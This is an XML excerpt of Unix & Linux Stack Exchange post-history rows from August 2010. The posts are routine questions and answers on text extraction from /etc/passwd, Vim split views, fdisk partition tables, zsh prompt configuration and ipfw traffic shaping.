  <row Id="2659" PostHistoryTypeId="1" PostId="1376" RevisionGUID="262eb2cb-cb46-452b-8970-dfdd3626b4fb" CreationDate="2010-08-30T02:36:12.800" UserId="58" Text="Grab certain contents of a file" />
  <row Id="2660" PostHistoryTypeId="3" PostId="1376" RevisionGUID="262eb2cb-cb46-452b-8970-dfdd3626b4fb" CreationDate="2010-08-30T02:36:12.800" UserId="58" Text="éfilesà" />
  <row Id="2661" PostHistoryTypeId="2" PostId="1377" RevisionGUID="e6ec2b09-6d16-4550-8473-1d64277d6396" CreationDate="2010-08-30T02:49:27.247" UserId="1322" Text="Try something like: &#xD;&#xA;&#xD;&#xA;    cat /etc/passwd | awk -F':' '{print $1}'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2662" PostHistoryTypeId="2" PostId="1378" RevisionGUID="fccdaa7e-068a-47b4-a974-385e55a6ce00" CreationDate="2010-08-30T02:50:13.610" UserId="1314" Text="you can use the [watch(1)][1] command to run your script at regular intervals:&#xD;&#xA;&#xD;&#xA;    watch -n 1 myscript.sh&#xD;&#xA;&#xD;&#xA;This will run `myscript.sh` every 1 second clearing the screen between each run and with a timestamp in the corner. You can use the `-d` option and it will even highlight differences in the output per run.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/watch" />
  <row Id="2663" PostHistoryTypeId="2" PostId="1379" RevisionGUID="538c3d04-b244-4a02-9f84-bed0f5527660" CreationDate="2010-08-30T02:53:45.870" UserId="73" Text="`cut` exists for exactly this purpose. The `-d` flag specifies the delimiter, and `-f` specifies which fields to output:&#xD;&#xA;&#xD;&#xA;    cut -d: -f1 /etc/passwd&#xD;&#xA;&#xD;&#xA;The argument to `-f` can be something like `1,3` to show the first and third fields, or `1-3` to show the first three; there are also `-b` and `-c` flags to read bytes and characters instead of fields. If you need something more flexible, generally `awk` will do the trick (see [Matthew's answer](http://unix.stackexchange.com/questions/1376/grab-certain-contents-of-a-file/1377#1377))" />
  <row Id="2666" PostHistoryTypeId="2" PostId="1381" RevisionGUID="401f410e-b592-44cd-bfbb-60d2839a5c01" CreationDate="2010-08-30T03:37:24.590" UserId="1290" Text="Hi, since OpenSolaris is more or less abandoned by Oracle, is there a nice alternative that implements the unique features of OSOL? ZFS is one thing, but I liked the image creation system, that let you create images of a master system and then distribute it quickly to other computers. This was an effort to simplify creation of clusters.&#xD;&#xA;&#xD;&#xA;According to the [Wikipedia page of OSOL][1], there's [Illumos][2], which is a fork of OSOL, with all closed source parts replaced by open source parts. Illumos is in active development.&#xD;&#xA;&#xD;&#xA;But is Illumos an alternative to OSOL, with all it's features? Is anyone using it and could tell us his or hers experiences?&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/OpenSolaris&#xD;&#xA;  [2]: http://www.illumos.org/" />
  <row Id="2667" PostHistoryTypeId="1" PostId="1381" RevisionGUID="401f410e-b592-44cd-bfbb-60d2839a5c01" CreationDate="2010-08-30T03:37:24.590" UserId="1290" Text="The future of OpenSolaris" />
  <row Id="2668" PostHistoryTypeId="3" PostId="1381" RevisionGUID="401f410e-b592-44cd-bfbb-60d2839a5c01" CreationDate="2010-08-30T03:37:24.590" UserId="1290" Text="ésolarisà" />
  <row Id="2669" PostHistoryTypeId="2" PostId="1382" RevisionGUID="e6bfba20-9a14-4c37-8fa7-93921c8423b0" CreationDate="2010-08-30T04:11:52.593" UserId="1323" Text="Gilles is correct: &#xD;&#xA;&#xD;&#xA;`altscreen on`&#xD;&#xA;&#xD;&#xA;in your .screenrc or /etc/screenrc (the latter if you want this behavior for all users) will do what you describe. This is also the case when screen is used from a 'real' terminal.&#xD;&#xA;&#xD;&#xA;Here is the terse description in the docs: [gnu.org][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/screen/manual/screen.html#index-altscreen-123&#xD;&#xA;" />
  <row Id="2670" PostHistoryTypeId="2" PostId="1383" RevisionGUID="6a49f1e0-789f-4669-a2f1-9bfa16e29f53" CreationDate="2010-08-30T05:46:32.637" UserId="672" Text="Illumos is not a full replacement to OSOL and I don't think it will be in the future since it's intended to be a base from which others can build a distribution.  But check the [Nexenta][1] OS, this system is heavily based on OSOL and they are one of the main sponsors behind the Illumos project. Although I haven't used it personally and I wouldn't know whether it has what you need.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.nexenta.org/" />
  <row Id="2671" PostHistoryTypeId="2" PostId="1384" RevisionGUID="b73331fa-641a-4172-b534-09c44de2d671" CreationDate="2010-08-30T07:22:23.797" UserId="446" Text="Here's a Perl one-liner:&#xD;&#xA;&#xD;&#xA;    perl -F/:/ -lane 'print $F[0]' /etc/passwd&#xD;&#xA;" />
  <row Id="2672" PostHistoryTypeId="2" PostId="1385" RevisionGUID="f1e72e64-9c68-453e-bfaf-1a42321b7009" CreationDate="2010-08-30T08:12:56.343" UserId="446" Text="I'd like to be able to run multiple commands on the same file in a single line. The way I currently do this is:&#xD;&#xA;&#xD;&#xA;    commandA file &amp;&amp; commandB file &amp;&amp; perl -ne '...' file&#xD;&#xA;&#xD;&#xA;My gut instincts tell me that there should be a way to provide the filename argument only once and pipe it to both commands simultaneously through `xargs` or something similar:&#xD;&#xA;&#xD;&#xA;    find file | xargs commandA &amp;&amp; xargs commandB &amp;&amp; xargs perl -ne '...'&#xD;&#xA;&#xD;&#xA;When I try this, only the first command runs. How can I achieve what I want to do?" />
  <row Id="2673" PostHistoryTypeId="1" PostId="1385" RevisionGUID="f1e72e64-9c68-453e-bfaf-1a42321b7009" CreationDate="2010-08-30T08:12:56.343" UserId="446" Text="Passing an argument to multiple statements in a single line" />
  <row Id="2674" PostHistoryTypeId="3" PostId="1385" RevisionGUID="f1e72e64-9c68-453e-bfaf-1a42321b7009" CreationDate="2010-08-30T08:12:56.343" UserId="446" Text="écommandölineà" />
  <row Id="2675" PostHistoryTypeId="4" PostId="1385" RevisionGUID="8444749a-46a6-4705-be2a-a1bc39d70519" CreationDate="2010-08-30T08:22:06.707" UserId="446" Comment="edited title" Text="Passing an argument to multiple commands in a single line" />
  <row Id="2676" PostHistoryTypeId="2" PostId="1386" RevisionGUID="12739c35-f20a-42d6-822e-d155b2d4dd14" CreationDate="2010-08-30T08:36:20.507" UserId="446" Text="Is it possible to view two files side-by-side in Vim? If so, how can I set up my editor to do this, and is there a way to `diff` between the two files within Vim?&#xD;&#xA;&#xD;&#xA;I am aware of the `:next` and `:prev` commands, but this is not what I'm after. It would really be nice to view the two files in tandem." />
  <row Id="2677" PostHistoryTypeId="1" PostId="1386" RevisionGUID="12739c35-f20a-42d6-822e-d155b2d4dd14" CreationDate="2010-08-30T08:36:20.507" UserId="446" Text="Comparing two files in Vim" />
  <row Id="2678" PostHistoryTypeId="3" PostId="1386" RevisionGUID="12739c35-f20a-42d6-822e-d155b2d4dd14" CreationDate="2010-08-30T08:36:20.507" UserId="446" Text="évimà" />
  <row Id="2679" PostHistoryTypeId="2" PostId="1387" RevisionGUID="171717bd-ef91-4e77-8ae4-f4cfc26e2e3f" CreationDate="2010-08-30T08:58:20.913" UserId="1131" Text="Open the side by side view:&#xD;&#xA;&#xD;&#xA;    Ctrl+w v&#xD;&#xA;&#xD;&#xA;Change between them:&#xD;&#xA;&#xD;&#xA;    Ctrl+w h or l&#xD;&#xA;&#xD;&#xA;Checkout the *vimdiff* command, part of the vim package, if you want a diff-like view.." />
  <row Id="2680" PostHistoryTypeId="2" PostId="1388" RevisionGUID="be97c07e-6c88-439f-a6bb-e917ee1461b6" CreationDate="2010-08-30T09:05:07.133" UserId="1131" Text="    F=file; commandA $F &amp; commandB $F &amp; ...&#xD;&#xA;&#xD;&#xA;And the commands are executes in parallel, if this it is, what you want to do. Else replace the &amp; chars.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2681" PostHistoryTypeId="2" PostId="1389" RevisionGUID="43f6b3fe-3ec7-4f94-bc21-a17624b3f7cd" CreationDate="2010-08-30T10:27:20.243" UserId="1289" Text="What kind of partition table does Linux create by default? Is it msdos? &#xD;&#xA;Is it different depending on the Linux distribution used(I'm using Ubuntu)?&#xD;&#xA;Is there any command line utility I could use to find out that information?" />
  <row Id="2682" PostHistoryTypeId="1" PostId="1389" RevisionGUID="43f6b3fe-3ec7-4f94-bc21-a17624b3f7cd" CreationDate="2010-08-30T10:27:20.243" UserId="1289" Text="Linux partition table" />
  <row Id="2683" PostHistoryTypeId="3" PostId="1389" RevisionGUID="43f6b3fe-3ec7-4f94-bc21-a17624b3f7cd" CreationDate="2010-08-30T10:27:20.243" UserId="1289" Text="élinuxàépartitionà" />
  <row Id="2684" PostHistoryTypeId="5" PostId="1385" RevisionGUID="bee45831-1a9a-4d27-a244-6e8bd98fd297" CreationDate="2010-08-30T10:58:21.897" UserId="446" Comment="edited body" Text="I'd like to be able to run multiple commands on the same file in a single line. The way I currently do this is:&#xD;&#xA;&#xD;&#xA;    commandA file &amp;&amp; commandB file &amp;&amp; perl -ne '...' file&#xD;&#xA;&#xD;&#xA;My gut instinct tells me that there should be a way to provide the filename argument only once and pipe it to both commands simultaneously through `xargs` or something similar:&#xD;&#xA;&#xD;&#xA;    find file | xargs commandA &amp;&amp; xargs commandB &amp;&amp; xargs perl -ne '...'&#xD;&#xA;&#xD;&#xA;When I try this, only the first command runs. How can I achieve what I want to do?" />
  <row Id="2688" PostHistoryTypeId="2" PostId="1391" RevisionGUID="d7ca9cc0-4309-401a-803c-1166817b1b1b" CreationDate="2010-08-30T12:28:30.360" UserId="786" Text="Unlike Microsoft Windows drive letters (C:,D: etc.), partitions on Linux show up as [device files][1] (/dev/sda1, /dev/sda2, /dev/sdb1 etc.). You can create the root directory on any one of the partition (as long as the partition is large enough) or spread it across several partitions (recommended). &#xD;&#xA;&#xD;&#xA;In modern Linux distributions the filesystems you will find most often are ext2 and ext3; but they will also support read/write from NTFS and FAT32. Run `fdisk -l` as root to see how your disk has been partitioned.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cyberciti.biz/faq/understanding-unix-linux-bsd-device-files/" />
  <row Id="2689" PostHistoryTypeId="5" PostId="1374" RevisionGUID="646b8fe2-9f58-4590-96ec-806ef367890f" CreationDate="2010-08-30T12:35:07.193" UserId="29" Comment="give more information" Text="you type in `bash`. If you want this to be a permanent change the default shell to `/bin/bash` by editing `/etc/passwd`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    avahi:x:84:84:Avahi daemon:/:/bin/false&#xD;&#xA;    xenoterracide:x:1000:100::/home/xenoterracide:/bin/zsh&#xD;&#xA;    postgres:x:88:88::/var/lib/postgres:/bin/zsh&#xD;&#xA;    bob:x:1001:1001::/home/bob:/bin/bash&#xD;&#xA;    usbmux:x:140:140:usbmux user:/:/sbin/nologin&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;here's some snipets from my `/etc/passwd` the very last field contains the shell, Modifying the field after the last `:` to a valid or invalid shell will work. `/bin/false` and `/sbin/nologin` both mean the user doesn't have a real login shell, although if pam is not set up right this doesn't mean they can't login (I reported a bug on this in Arch Linux, because you can login graphically without having a login shell). `/bin/bash` and `/bin/zsh` are both valid shells, see `/etc/shells` for a list of valid shells on your systems. Here's my `/etc/shells` if you're interested.&#xD;&#xA;&#xD;&#xA;    /bin/sh&#xD;&#xA;    /bin/bash&#xD;&#xA;    /bin/ksh&#xD;&#xA;    /bin/zsh&#xD;&#xA;    /bin/dash&#xD;&#xA;    &#xD;&#xA;Yes you can use `chsh` or `usermod` to do the same things, please remember these are just structured text files, and TIMTOWTDI.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2690" PostHistoryTypeId="5" PostId="1359" RevisionGUID="f4bdcabc-03a7-4ee8-9235-500d211658bd" CreationDate="2010-08-30T13:04:05.723" UserId="138" Comment="added Bourne tutorial link" Text="According to the &lt;a href=&quot;http://en.wikipedia.org/wiki/Debian_Almquist_shell&quot;&gt;`dash`&lt;/a&gt; &lt;a href=&quot;http://linux.die.net/man/1/dash&quot;&gt;man page&lt;/a&gt;, there are two classes of builtins.&#xD;&#xA;&#xD;&#xA;Some commands have to be built-in because they cannot work if they are external.  `cd` is one such since if it were external, it could only change its own directory, it couldn't affect the current working directory of the shell.&#xD;&#xA;&#xD;&#xA;The other class of commands are built into the shell purely for efficiency.  The `dash` man page mentions `printf`, `echo`, and `test` as examples.&#xD;&#xA;&#xD;&#xA;These three builtins, at least, are also available as separate executables, and that's been the case going back to the mid 90s, that I remember, and probably before that.&#xD;&#xA;&#xD;&#xA;It wasn't always so.  In &lt;a href=&quot;http://wwwlehre.dhbw-stuttgart.de/~helbig/os/v6/doc/man1.ps&quot;&gt;section 1&lt;/a&gt; of the &quot;Ancient Unix&quot; version 6 manual, the pages on `sh` list only two commands we'd consider builtins today, `chdir` and `wait`.  (Yes, this was before the command got abbreviated to `cd`!)&#xD;&#xA;&#xD;&#xA;**EDIT**: I just booted up &lt;a href=&quot;http://simh.trailing-edge.com/software.html&quot;&gt;a copy of UNIX V7&lt;/a&gt;, and echo wasn't built into `sh` at that point yet, either. I then dug up a copy of &lt;a href=&quot;http://wolfram.schneider.org/bsd/7thEdManVol2/shell/shell.pdf&quot;&gt;An Introduction to the UNIX Shell&lt;/a&gt; by S.R. Bourne (yes, *that* Bourne), a tutorial document that shipped with UNIX V7, and it doesn't mention builtins at all." />
  <row Id="2691" PostHistoryTypeId="2" PostId="1392" RevisionGUID="f86c01ff-c0fe-4a60-8272-4191a6afb4a3" CreationDate="2010-08-30T13:05:30.647" UserId="1253" Text="open up a terminal and list your drives first:&#xD;&#xA;&#xD;&#xA;    sudo fdisk -l&#xD;&#xA;&#xD;&#xA;output similar to this: &#xD;&#xA;&#xD;&#xA;    Disk /dev/sda: 160.0 GB, 160041885696 bytes&#xD;&#xA;    255 heads, 63 sectors/track, 19457 cylinders&#xD;&#xA;    Units = cylinders of 16065 * 512 = 8225280 bytes&#xD;&#xA;    Disk identifier: 0x2bd2c32a&#xD;&#xA;&#xD;&#xA;    Device Boot      Start         End      Blocks   Id  System&#xD;&#xA;    /dev/sda1               1        6375    51200000    7  HPFS/NTFS&#xD;&#xA;    /dev/sda2   *        6375        6400      204800   83  Linux&#xD;&#xA;    /dev/sda3            6400       19457   104883521   8e  Linux LVM&#xD;&#xA;    &#xD;&#xA;    Disk /dev/dm-0: 103.2 GB, 103238598656 bytes&#xD;&#xA;    255 heads, 63 sectors/track, 12551 cylinders&#xD;&#xA;    Units = cylinders of 16065 * 512 = 8225280 bytes&#xD;&#xA;    Disk identifier: 0x00000000&#xD;&#xA;&#xD;&#xA;    Disk /dev/dm-0 doesn't contain a valid partition table&#xD;&#xA;&#xD;&#xA;    Disk /dev/dm-1: 4160 MB, 4160749568 bytes&#xD;&#xA;    255 heads, 63 sectors/track, 505 cylinders&#xD;&#xA;    Units = cylinders of 16065 * 512 = 8225280 bytes&#xD;&#xA;    Disk identifier: 0x00000000&#xD;&#xA;    &#xD;&#xA;    Disk /dev/dm-1 doesn't contain a valid partition table&#xD;&#xA;    &#xD;&#xA;    Disk /dev/sdb: 2003 MB, 2003828736 bytes&#xD;&#xA;    255 heads, 63 sectors/track, 243 cylinders&#xD;&#xA;    Units = cylinders of 16065 * 512 = 8225280 bytes&#xD;&#xA;    Disk identifier: 0x00000000&#xD;&#xA;    &#xD;&#xA;    Device Boot      Start         End      Blocks   Id  System&#xD;&#xA;    /dev/sdb1   *           1         243     1951866    c  W95 FAT32 (LBA)&#xD;&#xA;                &#xD;&#xA;From this you can see Disk /dev/sdb, and /dev/sda as disks.&#xD;&#xA;&#xD;&#xA;To view partition table of one do: &#xD;&#xA;&#xD;&#xA;    sudo fdisk /dev/sda &#xD;&#xA;&#xD;&#xA;    Then see the following: &#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;    The number of cylinders for this disk is set to 19457.&#xD;&#xA;    There is nothing wrong with that, but this is larger than 1024,&#xD;&#xA;    and could in certain setups cause problems with:&#xD;&#xA;    1) software that runs at boot time (e.g., old versions of LILO)&#xD;&#xA;    2) booting and partitioning software from other OSs&#xD;&#xA;       (e.g., DOS FDISK, OS/2 FDISK)&#xD;&#xA;    &#xD;&#xA;    Command (m for help): &#xD;&#xA;&#xD;&#xA;Press &quot;p&quot; to list partitions or m for help.  From here you can modify partition tables, and when you are all finished press &quot;w&quot; to write changes to disc.  Next if you create a new partition, lets say ext3 you will need to use something like mkfs or a GUI based tool to create a ext3 partition there.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2692" PostHistoryTypeId="2" PostId="1393" RevisionGUID="fcfa385b-0189-4172-98ee-a821f3002928" CreationDate="2010-08-30T13:29:24.347" UserId="1002" Text="Although most shells include a built-in `echo` nowadays, the GNU CoreUtils also include a standalone implementation of it:&#xD;&#xA;&#xD;&#xA;    $ which echo&#xD;&#xA;    /bin/echo&#xD;&#xA;    $ dpkg -S /bin/echo&#xD;&#xA;    coreutils: /bin/echo&#xD;&#xA;&#xD;&#xA;It sounds like you don't have GNU Coreutils installed (most linux-based desktop &amp; server OS have it installed by default, but embeded linux or other UNIX might use alternative collections of shell utilities instead).&#xD;&#xA;&#xD;&#xA;BTW: if you look at [Busybox](http://www.busybox.net/), you'll see that `ls`, `ps` and `cat` are also built-in commands there (or at least can be; it's used for embeded systems and everything not needed can be left out)." />
  <row Id="2695" PostHistoryTypeId="2" PostId="1394" RevisionGUID="3a5d5ff2-b138-47d4-9272-271afc52bb70" CreationDate="2010-08-30T14:55:11.017" UserDisplayName="delete" Text="Can anyone give a recommendation for a simple X-based equivalent of mail / mailx for reading the mail I get from cron jobs?&#xD;&#xA;" />
  <row Id="2696" PostHistoryTypeId="1" PostId="1394" RevisionGUID="3a5d5ff2-b138-47d4-9272-271afc52bb70" CreationDate="2010-08-30T14:55:11.017" UserDisplayName="delete" Text="X-based email for reading mail from cron jobs" />
  <row Id="2697" PostHistoryTypeId="3" PostId="1394" RevisionGUID="3a5d5ff2-b138-47d4-9272-271afc52bb70" CreationDate="2010-08-30T14:55:11.017" UserDisplayName="delete" Text="éunixà" />
  <row Id="2698" PostHistoryTypeId="2" PostId="1395" RevisionGUID="2bc9bcea-5476-4da5-9952-2ebbe897acd0" CreationDate="2010-08-30T15:07:19.320" UserId="905" Text="This is the output of my patch command:&#xD;&#xA;&#xD;&#xA;    Hunk #11 merged at 4184,4190.&#xD;&#xA;    Hunk #12 merged at 4444.&#xD;&#xA;    Hunk #13 merged at 4944.&#xD;&#xA;    Hunk #14 NOT MERGED at 5106-5116.&#xD;&#xA;    Hunk #15 merged at 5290.&#xD;&#xA;    Hunk #16 merged at 5448.&#xD;&#xA;    patch unexpectedly ends in middle of line&#xD;&#xA;    Hunk #17 merged at 5608,5611.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The command was&#xD;&#xA;&#xD;&#xA;    patch -d ~/SOME_DIR -p1 --merge --verbose -u&#xD;&#xA;&#xD;&#xA;The patch was produced using git:&#xD;&#xA;&#xD;&#xA;    git --git-dir ~/SOME_DIR/.git diff -U8 bb1ee538982957b421a4c0e78f30428e73c9a072 HEAD -- malloc.c&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What does `patch unexpectedly ends in middle of line` mean, and is it a problem? Is it referring to hunk 16 or 17? What can I look for in the patch file to figure out what's causing this?&#xD;&#xA;" />
  <row Id="2699" PostHistoryTypeId="1" PostId="1395" RevisionGUID="2bc9bcea-5476-4da5-9952-2ebbe897acd0" CreationDate="2010-08-30T15:07:19.320" UserId="905" Text="What does 'patch unexpectedly ends in middle of line' mean?" />
  <row Id="2700" PostHistoryTypeId="3" PostId="1395" RevisionGUID="2bc9bcea-5476-4da5-9952-2ebbe897acd0" CreationDate="2010-08-30T15:07:19.320" UserId="905" Text="écommandölineàédiffà" />
  <row Id="2701" PostHistoryTypeId="2" PostId="1396" RevisionGUID="f3c76e52-a1d7-42e7-96f6-ff698b95ed9b" CreationDate="2010-08-30T15:16:24.490" UserId="29" Text="This is a continuation of [my](http://unix.stackexchange.com/questions/547/make-my-zsh-prompt-show-mode-in-vi-mode) [previous](http://unix.stackexchange.com/questions/1022/is-it-possible-to-display-stuff-below-the-prompt-at-a-prompt) questions. I currently have the following in `~/.zsh.d/functions.sh`&#xD;&#xA;&#xD;&#xA;    function zle-line-init zle-keymap-select {&#xD;&#xA;        psvar[1]=&quot;${${KEYMAP/vicmd/}/(main|viins)/-- INSERT --}&quot;&#xD;&#xA;        zle reset-prompt&#xD;&#xA;    }&#xD;&#xA;    precmd() {&#xD;&#xA;        psvar[2]=()&#xD;&#xA;        vcs_info&#xD;&#xA;        [[ -n $vcs_info_msg_0_ ]] &amp;&amp; psvar[2]=&quot;$vcs_info_msg_0_&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;and relevenat sections from my `~/.zshrc`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    test -s ~/.functions.sh &amp;&amp; . ~/.functions.sh || true&#xD;&#xA;    test -s ~/.alias &amp;&amp; . ~/.alias || true&#xD;&#xA;    if [ -d ~/.zsh.d ]; then&#xD;&#xA;        for i in ~/.zsh.d/*; do&#xD;&#xA;            if [ -r $i ]; then&#xD;&#xA;                source $i&#xD;&#xA;            fi&#xD;&#xA;        done&#xD;&#xA;        unset i&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    zle -N zle-line-init&#xD;&#xA;    zle -N zle-keymap-select&#xD;&#xA;    autoload -Uz colors &amp;&amp; colors&#xD;&#xA;    autoload -Uz vcs_info&#xD;&#xA;    zstyle ':vcs_info:*' enable git&#xD;&#xA;    zstyle ':vcs_info:*' formats '[%b]'&#xD;&#xA;    zstyle ':vcs_info:*' branchformats '[%b|%r]'&#xD;&#xA;    zstyle ':vcs_info:*' actionformats '[%b|%a]'&#xD;&#xA;    &#xD;&#xA;    # more gentoo like shell prompt&#xD;&#xA;    terminfo_down_sc=$terminfo[cud1]$terminfo[cuu1]$terminfo[sc]$terminfo[cud1]&#xD;&#xA;    PS1_2=&quot;%F{063}%1 %(1v.%1v.) %f&quot;&#xD;&#xA;    &#xD;&#xA;    PS1=$'%{$terminfo_down_sc$PS1_2$terminfo[rc]%}%F{063}%1~%f %(2v.%F{099}%2v %f.)%F{063}%#%f '&#xD;&#xA;    #PS1=&quot;%m%(1v.%F{green}%1v%f.)%# &quot;&#xD;&#xA;    RPS1='%m'&#xD;&#xA;    &#xD;&#xA;    preexec () { print -rn -- $terminfo[el]; }&#xD;&#xA;&#xD;&#xA;This works right, except that it doesn't display `-- INSERT --` when the shell is first started, after that it works as expected.&#xD;&#xA;&#xD;&#xA;*other improvement suggestions welcome*" />
  <row Id="2702" PostHistoryTypeId="1" PostId="1396" RevisionGUID="f3c76e52-a1d7-42e7-96f6-ff698b95ed9b" CreationDate="2010-08-30T15:16:24.490" UserId="29" Text="vi mode doesn't display correctly on new term" />
  <row Id="2703" PostHistoryTypeId="3" PostId="1396" RevisionGUID="f3c76e52-a1d7-42e7-96f6-ff698b95ed9b" CreationDate="2010-08-30T15:16:24.490" UserId="29" Text="ézshàépromptàétermcapà" />
  <row Id="2704" PostHistoryTypeId="2" PostId="1397" RevisionGUID="eec910d4-6663-4049-aa45-e5d1cd796972" CreationDate="2010-08-30T15:31:36.637" UserId="29" Text="in zsh you can have a `%#` in your `PS1` (or whatever `PROMPT` variable) which basically means display `%` if user or display `#` if root. I'm wondering if there is any way to affect this so that the `%` or `#` changes colors depending on whether it's a user or root (a red for root, a blue for user ) the obvious way is just to change the `PS1` in my root's `~/.zshrc` but considering this is already a special symbol I'm wondering if there isn't perhaps a way I can use the same `PS1` for both... something specific to `%#` like it is for zsh ( I'm sure there are other hacks I could do too like an if then statement )." />
  <row Id="2705" PostHistoryTypeId="1" PostId="1397" RevisionGUID="eec910d4-6663-4049-aa45-e5d1cd796972" CreationDate="2010-08-30T15:31:36.637" UserId="29" Text="change prompt color depending on user or root in zsh" />
  <row Id="2706" PostHistoryTypeId="3" PostId="1397" RevisionGUID="eec910d4-6663-4049-aa45-e5d1cd796972" CreationDate="2010-08-30T15:31:36.637" UserId="29" Text="ézshàépromptà" />
  <row Id="2707" PostHistoryTypeId="2" PostId="1398" RevisionGUID="cdaab5e8-d89f-4907-966a-77047feedfaa" CreationDate="2010-08-30T15:51:55.823" UserId="1187" Text="i'm not sure what but it seems like i'm doing something wrong... my objective is to be able to limit some of my traffic, to be exact www traffic, one of my clients running what it's called a webproxy, where end-user can surf any webpages through their site, if anyone interested take a look at:&#xD;&#xA;&#xD;&#xA;http://www.thespacesurf.com/&#xD;&#xA;&#xD;&#xA;so here here is my /etc/ipfw.rules file followed by ipfw show and ipfw pipe show&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;flush&#xD;&#xA;pipe flush&#xD;&#xA;pipe 1 config bw 1Mbit/s mask src-port www&#xD;&#xA;pipe 2 config bw 1Mbit/s mask src-port www&#xD;&#xA;add 100 allow ip from any to any via lo0&#xD;&#xA;add 200 deny ip from any to 127.0.0.0/8&#xD;&#xA;add 300 deny ip from 127.0.0.0/8 to any&#xD;&#xA;add 8381 pipe 1 tcp from any to any dst-port www uid daemon&#xD;&#xA;add 8382 pipe 2 tcp from any to any src-port www uid daemon&#xD;&#xA;add 8025 allow tcp from any to any dst-port smtp&#xD;&#xA;add 8110 allow tcp from any to any dst-port pop3&#xD;&#xA;add 8143 allow tcp from any to any dst-port imap&#xD;&#xA;add 8993 allow tcp from any to any dst-port imaps&#xD;&#xA;add 8995 allow tcp from any to any dst-port pop3s&#xD;&#xA;add 65000 pass all from any to any&#xD;&#xA;&#xD;&#xA;su-3.2# ipfw show&#xD;&#xA;00100  85839853  23452504269 allow ip from any to any via lo0&#xD;&#xA;00200         0            0 deny ip from any to 127.0.0.0/8&#xD;&#xA;00300         0            0 deny ip from 127.0.0.0/8 to any&#xD;&#xA;08025   8835622   3440233341 allow tcp from any to any dst-port 25&#xD;&#xA;08110    748762     44303607 allow tcp from any to any dst-port 110&#xD;&#xA;08143    443916     26822178 allow tcp from any to any dst-port 143&#xD;&#xA;08381 139901701  10870804903 pipe 1 tcp from any to any dst-port 80 uid daemon&#xD;&#xA;08382 181159216 209004032651 pipe 2 tcp from any 80 to any uid daemon&#xD;&#xA;08993   2621221    332143828 allow tcp from any to any dst-port 993&#xD;&#xA;08995    880748     87973919 allow tcp from any to any dst-port 995&#xD;&#xA;65000 323132905 187469722830 allow ip from any to any&#xD;&#xA;65535         0            0 deny ip from any to any&#xD;&#xA;su-3.2# ipfw pipe show&#xD;&#xA;00001:   1.000 Mbit/s    0 ms   50 sl. 1 queues (1 buckets) droptail&#xD;&#xA;    mask: 0x00 0x00000000/0x0000 -&gt; 0x00000000/0x0000&#xD;&#xA;BKT Prot ___Source IP/port____ ____Dest. IP/port____ Tot_pkt/bytes Pkt/Byte Drp&#xD;&#xA;  0 tcp     64.237.55.83/49910  66.218.161.133/80    139909114 10871439505  0    0  50&#xD;&#xA;00002:   1.000 Mbit/s    0 ms   50 sl. 1 queues (1 buckets) droptail&#xD;&#xA;    mask: 0x00 0x00000000/0x0000 -&gt; 0x00000000/0x0000&#xD;&#xA;BKT Prot ___Source IP/port____ ____Dest. IP/port____ Tot_pkt/bytes Pkt/Byte Drp&#xD;&#xA;  0 tcp   66.218.161.133/80       64.237.55.83/49910 181159216 209004032651  0    0 21025730&#xD;&#xA;su-3.2# &#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;according to mrtg i'm doing way over 1Mbit/s that i set in my ipfw. I'll be more then happy to provide with whatever additional information needed to solve this issue, but for starters &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;su-3.2# uname -a&#xD;&#xA;FreeBSD x.xxx.xxx 7.3-RELEASE FreeBSD 7.3-RELEASE #13: Tue Mar 23 20:47:52 UTC 2010     xxx@x.xxx.xxx:/usr/obj/usr/src/sys/GENERIC  amd64&#xD;&#xA;su-3.2# &#xD;&#xA;&lt;/pre&gt;" />
  <row Id="2708" PostHistoryTypeId="1" PostId="1398" RevisionGUID="cdaab5e8-d89f-4907-966a-77047feedfaa" CreationDate="2010-08-30T15:51:55.823" UserId="1187" Text="ipfw : Traffic Shaping" />
  <row Id="2709" PostHistoryTypeId="3" PostId="1398" RevisionGUID="cdaab5e8-d89f-4907-966a-77047feedfaa" CreationDate="2010-08-30T15:51:55.823" UserId="1187" Text="éfreebsdà" />
  <row Id="2710" PostHistoryTypeId="2" PostId="1399" RevisionGUID="15107667-0492-4e9f-8811-6baeea5b6b89" CreationDate="2010-08-30T16:16:46.947" UserId="305" Text="DVD drive constantly spins up/down when idle on notebook. I cannot track what is causing it.&#xD;&#xA;The process of spinning up/down is quite noisy and disturbing.&#xD;&#xA;&#xD;&#xA;`lsof` cannot find anything that have device file opened or anything that keeps any file opened. It is some regression but I don't see any update that might have caused it.&#xD;&#xA;&#xD;&#xA;Drive is mount/unmount by usdisk." />
  <row Id="2711" PostHistoryTypeId="1" PostId="1399" RevisionGUID="15107667-0492-4e9f-8811-6baeea5b6b89" CreationDate="2010-08-30T16:16:46.947" UserId="305" Text="DVD drive constanly  spins up/down when idle" />
  <row Id="2712" PostHistoryTypeId="3" PostId="1399" RevisionGUID="15107667-0492-4e9f-8811-6baeea5b6b89" CreationDate="2010-08-30T16:16:46.947" UserId="305" Text="élinuxàéhardwareàédvdà" />
